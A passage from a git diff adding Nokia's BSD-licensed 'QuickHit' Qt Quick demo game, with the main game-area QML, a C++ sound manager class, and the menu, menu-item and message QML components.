+ // Level activated signal for Qt side to load activated level
+ signal levelActivated(int index)
+
+ // Pause whole game, if level is loaded
+ function pauseGame() {
+ if (GameScript.levelPlugin) {
+ GameScript.pauseGame(true)
+ myShip.focus = false
+ btnPause.opacity = 0
+ menu.showPauseMenu()
+ }
+ }
+
+ // Qt side call this for QML take new level into use
+ function levelReadyForCreation() {
+ // Hide menu
+ menu.hideMenu()
+ // Show message
+ message.showMessage("Loading Level...",2000)
+ // Wait before create level
+ levelCreationTimer.restart()
+ }
+
+ // Fires ememy missile. Function is called from Qt side
+ function fireEnemyMissile(aXpox, aFromYpos, aToYpos) {
+ GameScript.fireEnemyMissile(aXpox, aFromYpos, aToYpos)
+ }
+
+ // Game Over handling. Function is called from Qt side
+ function gameOver(youWin) {
+ // Stop GameEngine timers
+ GameEngine.enableEngineTimer(false)
+ gameOverProperty = youWin
+ GameScript.hideMissiles()
+ gameOverTimer.restart()
+ //GameEngine.vibra()
+ }
+
+ // End game and show menu
+ function endGame(showMessage) {
+ backgroundPic.opacity = 1
+ // Stop GameEngine timers
+ GameEngine.enableEngineTimer(false)
+ // Do game over
+ GameScript.gameOver()
+ GameScript.hideMissiles()
+ // Clear GameEngine QML objects
+ GameEngine.clearQmlObjects()
+ myShip.opacity = 0
+ myShip.focus = false
+ btnPause.opacity = 0
+ idMainLogo.opacity = 1
+ menu.showLevelMenu()
+ if (showMessage) {
+ message.showMessage("Game End",2000)
+ }
+ }
+
+ // Timer for level creationing
+ Timer {
+ id: levelCreationTimer
+ interval: 1000; running: false; repeat: false
+ onTriggered: {
+ btnPause.opacity = 1
+ myShip.opacity = 1
+ myShip.focus = true
+ // Create new level
+ var ret = GameScript.createLevel()
+ if (ret==0) {
+ backgroundPic.opacity = 0
+ // Find QML object for GameEngine
+ GameEngine.findQmlObjects()
+ // Enable GameEngine timer
+ GameEngine.enableEngineTimer(true)
+ } else {
+ // Level cannot be created!
+ endGame(false)
+ }
+ }
+ }
+
+ // Timer for game over
+ Timer {
+ id: gameOverTimer
+ interval: 1500; running: false; repeat: false
+ onTriggered: {
+ backgroundPic.opacity = 1
+ idMainLogo.opacity = 1
+ // Do game over
+ GameScript.gameOver()
+ // Clear GameEngine QML objects
+ GameEngine.clearQmlObjects()
+ menu.showLevelMenu()
+ if (gameOverProperty) {
+ GameEngine.playInternalSound(4)
+ message.showMessage("Game Over, You win!",2000)
+ } else {
+ GameEngine.playInternalSounds(3,3)
+ message.showMessage("Game Over, You lose",2000)
+ }
+ }
+ }
+
+ // Menu signal to slot connections
+ Connections {
+ target: menu
+ // Level selected
+ onLevelSelected: {
+ // Stop bigship animation
+ bigShipAnim.stop()
+ bigShip.opacity = 0
+ // Hide logo
+ idMainLogo.opacity = 0
+ // Signal level activated
+ gameArea.levelActivated(levelIndex)
+ }
+ // Level resumed selected
+ onResumeSelected: {
+ menu.hideMenu()
+ GameScript.pauseGame(false)
+ myShip.focus = true
+ }
+ }
+
+ // This component creation completed
+ Component.onCompleted: {
+ // Show main Level selection menu
+ menu.showLevelMenu()
+
+ // Start big ship animation
+ bigShipAnim.restart()
+
+ // Set variable
+ messageBox = message
+
+ // Play game start sound
+ GameEngine.gameStartSound()
+
+ // Fade splash screen
+ fadeAnim.restart()
+ // Rotate splash logo
+ rotAnim.restart()
+ }
+
+
+ // Background image for the game
+ Image {
+ id: backgroundPic
+ z:1
+ source: "qrc:/gfx/background2.png"
+ fillMode: Image.PreserveAspectCrop
+ smooth: true
+ anchors.fill: parent
+ }
+
+ Image {
+ id: bigShip
+ source: "qrc:/gfx/bigship.png"
+ z:1.5
+ smooth: true
+ x: width * -1
+ y: parent.height * 0.55
+ }
+ SequentialAnimation {
+ id: bigShipAnim;
+ NumberAnimation {target:bigShip; property:"x"; to:gameArea.width; easing.type: Easing.Linear; duration: 80000 }
+ PropertyAction {target:bigShip; properties: "opacity"; value: 0}
+ }
+
+
+ // Enemies grid
+ Item {
+ // This is general level QML plaseholder
+ // Into this is level QML created in createLevel()
+ id:levelId
+ anchors.fill: parent
+ z:2
+ }
+
+ Image {
+ id: idMainLogo
+ z:19
+ source: "qrc:/gfx/quickhit_logo.png"
+ smooth: true
+ anchors.horizontalCenter: gameArea.horizontalCenter
+ y:gameArea.height / 10 * 1
+ }
+
+ // Game menu
+ Menu {
+ z:20
+ id:menu
+ width: gameArea.width / 5 * 4
+ height: gameArea.height / 10 * 4
+ anchors.verticalCenter: gameArea.verticalCenter
+ anchors.horizontalCenter: gameArea.horizontalCenter
+ }
+
+ // My ship
+ MyShip {
+ z:10
+ id: myShip
+ opacity: 0
+ }
+
+ // Mouse area of your ship
+ MouseArea {
+ //anchors.fill: parent
+ width: parent.width
+ height: myShip.height
+ x:0
+ y:gameArea.height - myShip.height
+
+ drag.target: myShip
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: gameArea.width - myShip.width
+
+ property int startPos: 0
+ property int dragCount: 0
+
+ onPressed: {
+ startPos = mouseX
+ dragCount = 0
+ }
+ onPositionChanged: {
+ //dragCount = Math.abs(mouseX-startPos)
+ }
+ onReleased: {
+ //if (dragCount<20) {
+ myShip.fire()
+ //}
+ }
+ }
+
+ // Pause button
+ Button {
+ id: btnSound
+ z:12
+ //animationEnabled: false
+ anchors.top: parent.top
+ anchors.topMargin: 10
+ buttonPath: "qrc:/gfx/soundOn.png"
+ buttonId: 4
+ width: gameArea.width / 10
+ height: gameArea.width / 10
+ x: gameArea.width - width - 15
+ opacity: 1
+ Connections {
+ target: btnSound
+ onBtnClicked: {
+ if (btnSound.buttonId==4) {
+ // Sound off
+ btnSound.buttonPath = "qrc:/gfx/soundOff.png"
+ btnSound.buttonId = 5
+ GameEngine.enableSounds(false)
+ } else {
+ // Sound on
+ btnSound.buttonPath = "qrc:/gfx/soundOn.png"
+ btnSound.buttonId = 4
+ GameEngine.enableSounds(true)
+ }
+ }
+ }
+ }
+
+ // Pause button
+ Button {
+ id: btnPause
+ z:13
+ anchors.top: parent.top
+ anchors.topMargin: 10
+ buttonPath: "qrc:/gfx/pause.png"
+ buttonId: 3
+ width: gameArea.width / 10
+ height: gameArea.width / 10
+ x: gameArea.width - width - btnPause.width - 15*2
+ opacity: 0
+ Connections {
+ target: btnPause
+ onBtnClicked: {
+ GameScript.pauseGame(true)
+ myShip.focus = false
+ btnPause.opacity = 0
+ menu.showPauseMenu()
+ }
+ }
+ }
+
+
+ // Hidden missiles ready for to be launched
+ Missile {
+ z:3
+ id: missile_1
+ x:0
+ y:10
+ }
+ Missile {
+ z:4
+ id: missile_2
+ x: 20
+ y:10
+ }
+ Missile {
+ z:5
+ id: missile_3
+ x: 40
+ y:10
+ }
+ Missile {
+ z:6
+ id: missile_4
+ x: 60
+ y:10
+ }
+ Missile {
+ z:7
+ id: missile_5
+ x: 80
+ y:10
+ }
+ Missile {
+ z:8
+ objectName: "enemy_missile"
+ id: enemy_missile_1
+ enemyMissile: true
+ }
+ Missile {
+ z:9
+ objectName: "enemy_missile"
+ id: enemy_missile_2
+ enemyMissile: true
+ }
+
+ // Messages to the user
+ Message {
+ id: message
+ z:21
+ }
+
+
+ // Splach screen
+ Rectangle {
+ id: blackFace
+ x:-2
+ y:0
+ width: parent.width + 2
+ height: parent.height
+ z:100
+ color: "black"
+ opacity: 1
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ mouse.accepted = true
+ fadeAnim.stop()
+ blackFace.opacity = 0
+ }
+ }
+
+ Image {
+ id: idLogo
+ source: "qrc:/gfx/quickhit_logo.png"
+ smooth: true
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ opacity: 0
+ }
+ NumberAnimation { id: rotAnim; target: idLogo; property: "rotation"; to: 20; duration: 9000 }
+
+ }
+ // Splach screen animation
+ SequentialAnimation {
+ id: fadeAnim
+ PauseAnimation {duration: 1000 }
+ NumberAnimation {target: idLogo; property: "opacity"; from: 0; to: 1; duration: 2000 }
+ PauseAnimation {duration: 2000 }
+ NumberAnimation {target: idLogo; property: "opacity"; from: 1; to: 0; duration: 2000 }
+ NumberAnimation {target: blackFace; property: "opacity"; from: 1; to: 0; duration: 2000 }
+ }
+
+}
diff --git a/demos/mobile/quickhit/InvSounds.cpp b/demos/mobile/quickhit/InvSounds.cpp
new file mode 100644
index 00000000..ac926a74
--- /dev/null
+++ b/demos/mobile/quickhit/InvSounds.cpp
@@ -0,0 +1,189 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "InvSounds.h"
+#include <QDir>
+#include <QDebug>
+
+using namespace GE;
+
+CInvSounds::CInvSounds(QObject *parent) : QObject( parent )
+{
+ m_musicInstance = 0;
+ m_sounds = 0;
+ m_internalSounds = 0;
+ m_soundCount = 0;
+ m_internalSoundCount = 0;
+
+ enableSounds(true);
+
+ m_audioOut = new AudioOut( this, &m_mixer );
+
+ enableInternalSounds();
+}
+
+void CInvSounds::enableSounds(bool enable)
+{
+ if (enable)
+ m_mixer.setGeneralVolume(0.2f);
+ else
+ m_mixer.setGeneralVolume(0);
+}
+
+void CInvSounds::enableInternalSounds()
+{
+ disableInternalSounds();
+
+ // Application internal sounda
+ m_internalSoundPaths.append(":/sound/menu1.wav");
+ m_internalSoundPaths.append(":/sound/menu2.wav");
+ m_internalSoundPaths.append(":/sound/gamestart.wav");
+ m_internalSoundPaths.append(":/sound/gameover.wav");
+ m_internalSoundPaths.append(":/sound/youwin.wav");
+
+ m_internalSoundCount = m_internalSoundPaths.count();
+ m_internalSounds = new CAudioBuffer*[m_internalSoundCount];
+
+ // Load general application sounds
+ for (int ff=0; ff<m_internalSoundPaths.count(); ff++) {
+ m_internalSounds[ff] = CAudioBuffer::loadWav(m_internalSoundPaths[ff]);
+ }
+}
+
+void CInvSounds::enableSounds(QStringList sounds)
+{
+ disableSounds();
+
+ // Sounds from the level
+ m_soundPaths = sounds;
+ m_soundCount = sounds.count();
+ m_sounds = new CAudioBuffer*[m_soundCount];
+ // Load level sounds
+ for (int f=0; f<m_soundPaths.count(); f++) {
+ m_sounds[f] = CAudioBuffer::loadWav(m_soundPaths[f]);
+ }
+
+}
+
+void CInvSounds::disableInternalSounds()
+{
+ for (int f=0; f<m_internalSoundCount; f++) {
+ if (m_internalSounds[f]) {
+ delete m_internalSounds[f];
+ }
+ }
+ delete [] m_internalSounds;
+ m_internalSoundCount = 0;
+ m_internalSoundPaths.clear();
+
+ m_musicInstance = 0;
+}
+
+void CInvSounds::disableSounds()
+{
+ for (int f=0; f<m_soundCount; f++) {
+ if (m_sounds[f]) {
+ delete m_sounds[f];
+ }
+ }
+ delete [] m_sounds;
+ m_sounds = 0;
+ m_soundCount = 0;
+ m_soundPaths.clear();
+
+ m_musicInstance = 0;
+}
+
+CInvSounds::~CInvSounds() {
+ if (m_audioOut) {
+ delete m_audioOut;
+ m_audioOut = 0;
+ }
+
+ disableSounds();
+ disableInternalSounds();
+}
+
+
+void CInvSounds::beginMusicOn() {
+ m_musicInstance = (GE::CAudioBufferPlayInstance*)m_mixer.addAudioSource( new GE::CAudioBufferPlayInstance( m_sounds[0] ) );
+ m_musicInstance->setLoopTimes(-1);
+}
+
+
+void CInvSounds::beginMusicOff() {
+ if (!m_musicInstance) return;
+ m_musicInstance->setLoopTimes(0); // stop when finished
+ m_musicInstance = 0;
+};
+
+
+void CInvSounds::playSound(int index) {
+ if (index < m_soundCount && index > -1) {
+ m_sounds[index]->playWithMixer( m_mixer );
+ }
+}
+
+void CInvSounds::playSounds(int index, int count)
+{
+ if (index < m_soundCount && index > -1) {
+ CAudioBufferPlayInstance* i = m_sounds[index]->playWithMixer( m_mixer );
+ i->setLoopTimes(count);
+ }
+}
+
+void CInvSounds::playInternalSound(int index) {
+ if (index < m_internalSoundCount && index > -1) {
+ m_internalSounds[index]->playWithMixer( m_mixer );
+ }
+}
+
+void CInvSounds::playInternalSounds(int index, int count)
+{
+ if (index < m_internalSoundCount && index > -1) {
+ CAudioBufferPlayInstance* i = m_internalSounds[index]->playWithMixer( m_mixer );
+ i->setLoopTimes(count);
+ }
+}
+
+void CInvSounds::gameStartSound() {
+ CAudioBufferPlayInstance* i = m_internalSounds[2]->playWithMixer( m_mixer );
+ i->setLoopTimes(2);
+};
diff --git a/demos/mobile/quickhit/InvSounds.h b/demos/mobile/quickhit/InvSounds.h
new file mode 100644
index 00000000..f5254ed6
--- /dev/null
+++ b/demos/mobile/quickhit/InvSounds.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef __CINVSOUNDS__
+#define __CINVSOUNDS__
+
+#include <QObject>
+#include <QStringList>
+
+#include "ga_src/GEAudioBuffer.h"
+#include "ga_src/GEAudioOut.h"
+
+class CInvSounds : public QObject
+{
+ Q_OBJECT
+
+public:
+ CInvSounds(QObject *parent);
+ ~CInvSounds();
+
+ void enableInternalSounds();
+ void enableSounds(QStringList sounds);
+ void disableInternalSounds();
+ void disableSounds();
+
+ void beginMusicOn();
+ void beginMusicOff();
+
+ void enableSounds(bool enable);
+
+
+ void gameStartSound();
+
+public slots:
+ void playSound(int index);
+ void playSounds(int index, int count);
+ void playInternalSound(int index);
+ void playInternalSounds(int index, int count);
+
+protected:
+ QStringList m_soundPaths;
+ QStringList m_internalSoundPaths;
+ GE::CAudioBufferPlayInstance *m_musicInstance;
+ GE::CAudioMixer m_mixer;
+ GE::AudioOut *m_audioOut;
+
+ GE::CAudioBuffer **m_sounds;
+ int m_soundCount;
+
+ GE::CAudioBuffer **m_internalSounds;
+ int m_internalSoundCount;
+};
+
+#endif
diff --git a/demos/mobile/quickhit/Menu.qml b/demos/mobile/quickhit/Menu.qml
new file mode 100644
index 00000000..daf3ccff
--- /dev/null
+++ b/demos/mobile/quickhit/Menu.qml
@@ -0,0 +1,163 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "Game.js" as GameScript
+
+
+Rectangle {
+ id: menu
+
+ Text {
+ id: title
+ smooth: true
+ anchors.bottom: menu.top
+ anchors.horizontalCenter: menu.horizontalCenter
+ color: "red"
+ font.pixelSize: gameArea.width / 12
+ font.bold: true
+ horizontalAlignment: Text.AlignHCenter
+ }
+
+ border.color: "black"
+ border.width: 2
+ radius: 8
+ smooth: true
+ opacity: 0 // transparent by default
+
+ color: "black"
+// gradient: Gradient {
+// GradientStop { position: 0.0; color: "white" }
+// GradientStop { position: 1.0; color: "black" }
+// }
+
+ // Signals
+ signal levelSelected(int levelIndex)
+ signal resumeSelected()
+
+ // Show level menu
+ function showLevelMenu() {
+ menuData.clear()
+ title.text = "Select Your Level"
+ var plugins = GameEngine.pluginList()
+ for (var i = 0; i < plugins.length; i++) {
+ menuData.append({"name": plugins[i],"type":"0"})
+ }
+ menuData.append({"name": "About","type":"4"})
+ menuData.append({"name": "Exit","type":"1"})
+ menu.opacity = 0.8
+ listView.focus = true
+ }
+
+ function showPauseMenu() {
+ menuData.clear()
+ title.text = "Resume level?"
+ menuData.append({"name": "Resume","type":"2"})
+ menuData.append({"name": "End Game","type":"3"})
+ menu.opacity = 0.8
+ listView.focus = true
+ }
+
+ // Hide menu
+ function hideMenu() {
+ menu.opacity = 0
+ listView.focus = false
+ }
+
+ function menuItemSelected(index, type) {
+ switch (type) {
+ case "0": {
+ // Level selection
+ menu.levelSelected(index)
+ break;
+ }
+ case "1": {
+ // Exit
+ Qt.quit()
+ break;
+ }
+ case "2": {
+ // Resume
+ menu.resumeSelected()
+ break;
+ }
+ case "3": {
+ // End Game
+ gameArea.endGame()
+ break;
+ }
+ case "4": {
+ // Show about
+ gameArea.messageBox.showInfoMessage()
+ break;
+ }
+ default: {
+ break;
+ }
+ }
+ }
+
+ ListModel {
+ id: menuData
+ }
+
+ ListView {
+ id: listView
+ clip: true
+ anchors.fill: parent
+ keyNavigationWraps: true
+
+ function doSelect() {
+ menu.menuItemSelected(listView.currentIndex,menuData.get(listView.currentIndex).type)
+ }
+
+ model: menuData
+
+ delegate: MenuItem {
+ id: menuItem
+ selectedItem: menuItem.ListView.isCurrentItem ? true : false
+ onItemSelected: {
+ listView.currentIndex = model.index
+ listView.doSelect()
+ }
+
+ }
+ }
+}
diff --git a/demos/mobile/quickhit/MenuItem.qml b/demos/mobile/quickhit/MenuItem.qml
new file mode 100644
index 00000000..7203c530
--- /dev/null
+++ b/demos/mobile/quickhit/MenuItem.qml
@@ -0,0 +1,103 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Text {
+ id: menuItem
+ text: name
+ color: "white"
+ opacity: 1
+ font.family: "Calibri"
+ font.pixelSize: menu.width / 8
+ x: (parent.width - width )/ 2
+
+ property bool selectedItem: false
+ property int type
+
+ signal itemSelected()
+
+ transform: Rotation { id:rotationId; origin.x:width/2; origin.y:height/2; axis { x: 1; y: 0; z: 0 } angle: 0 }
+ SequentialAnimation {
+ id: toRotateRightAndCenterAnim
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 0; to: 180; duration: 300 }
+ PropertyAction { target: menuItem; property: "color"; value:"red"}
+ PropertyAnimation { target: rotationId; easing.type: Easing.Linear;
+ properties: "angle"; from: 180; to: 360; duration: 300 }
+ PropertyAction { target: menuItem; property: "color"; value:"white"}
+ }
+
+ function selectItem(doSelect) {
+ if (!toRotateRightAndCenterAnim.running) {
+ GameEngine.playInternalSound(0)
+ toRotateRightAndCenterAnim.restart()
+ if (doSelect) {
+ GameEngine.playInternalSound(1)
+ selectionTimer.restart()
+ }
+ }
+ }
+
+ Timer {
+ id: selectionTimer
+ interval: 1000; running: false; repeat: false
+ onTriggered: menuItem.itemSelected()
+ }
+
+ MouseArea {
+ id: mouseArea;
+ anchors.fill: parent
+ onClicked: {
+ selectItem(true)
+ }
+ }
+
+ Keys.onSpacePressed: { selectItem(true) }
+ Keys.onSelectPressed: { selectItem(true) }
+ Keys.onEnterPressed: { selectItem(true) }
+ Keys.onReleased: {
+ if (event.key == Qt.Key_Down || event.key == Qt.Key_Up) {
+ selectItem(false)
+ }
+ event.accepted = false
+ }
+}
+
diff --git a/demos/mobile/quickhit/Message.qml b/demos/mobile/quickhit/Message.qml
new file mode 100644
index 00000000..618a1a39
--- /dev/null
+++ b/demos/mobile/quickhit/Message.qml
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: message
+ border.color: "black"
+ border.width: 1
+ radius: 8
+ smooth: true
+ opacity: 0 // transparent = 0 by default
+ color: "black"
+
+ property string txt
+ property int animSpeed
+
+ function showMessage(text,speed) {
+ message.border.color = "black"
+ message.y = 50
+ message.width = gameArea.width / 5 * 4
+ message.height = gameArea.height / 8 * 1
+ txt = text
+ animSpeed = speed
+ message.opacity = 1
+ messageText.font.pixelSize = parent.width / 14
+ messageAnim.restart()
+ }
+
+ function showErrorMessage(text,speed) {
+ message.border.color = "red"
+ message.y = 50
+ message.width = gameArea.width / 5 * 4
+ message.height = gameArea.height / 8 * 1
+ txt = text
+ animSpeed = speed
+ message.opacity = 1
+ messageText.font.pixelSize = parent.width / 14
+ messageAnim.restart()
+ }
+
+ function showInfoMessage() {
+ message.border.color = "white"
+ txt = "<a href=\"https://projects.forum.nokia.com/quickhit\">QuickHit</a>" +
+ "<p>" +
+ "Forum Nokia <br>" +
+ "Qt Quick Game Example <br>" +
+ "</p>" +
+ "<p>" +
+ "Sounds were loaded from freesound.org under Creative Commons Sampling Plus 1.0 license.<br>" +
+ "</p>" +
+ "<p>" +
+ "Sounds were created by these nicknames:<br>" +
+ "HardPCM<br>" +
+ "Matt_G<br>" +
+ "klankbeeld<br>" +
+ "steveygos93<br>" +
+ "joe93barlow<br>" +
+ "ljudman<br>" +
+ "Jovica<br>" +
+ "patchen<br>" +
+ "nthompson<br>" +
+ "</p>"
+
+ animSpeed = 9000
+ message.opacity = 1
+ message.y = 10
+ message.height = gameArea.height - message.y - 10
+ message.width = gameArea.width - 20
+
+ messageText.font.pixelSize = parent.width / 16
+ messageAnim.restart()
+ }
+
+ //gradient: Gradient {
+ // GradientStop { position: 0.0; color: "white" }
+ // GradientStop { position: 1.0; color: "black" }
+ //}
+
+ SequentialAnimation {
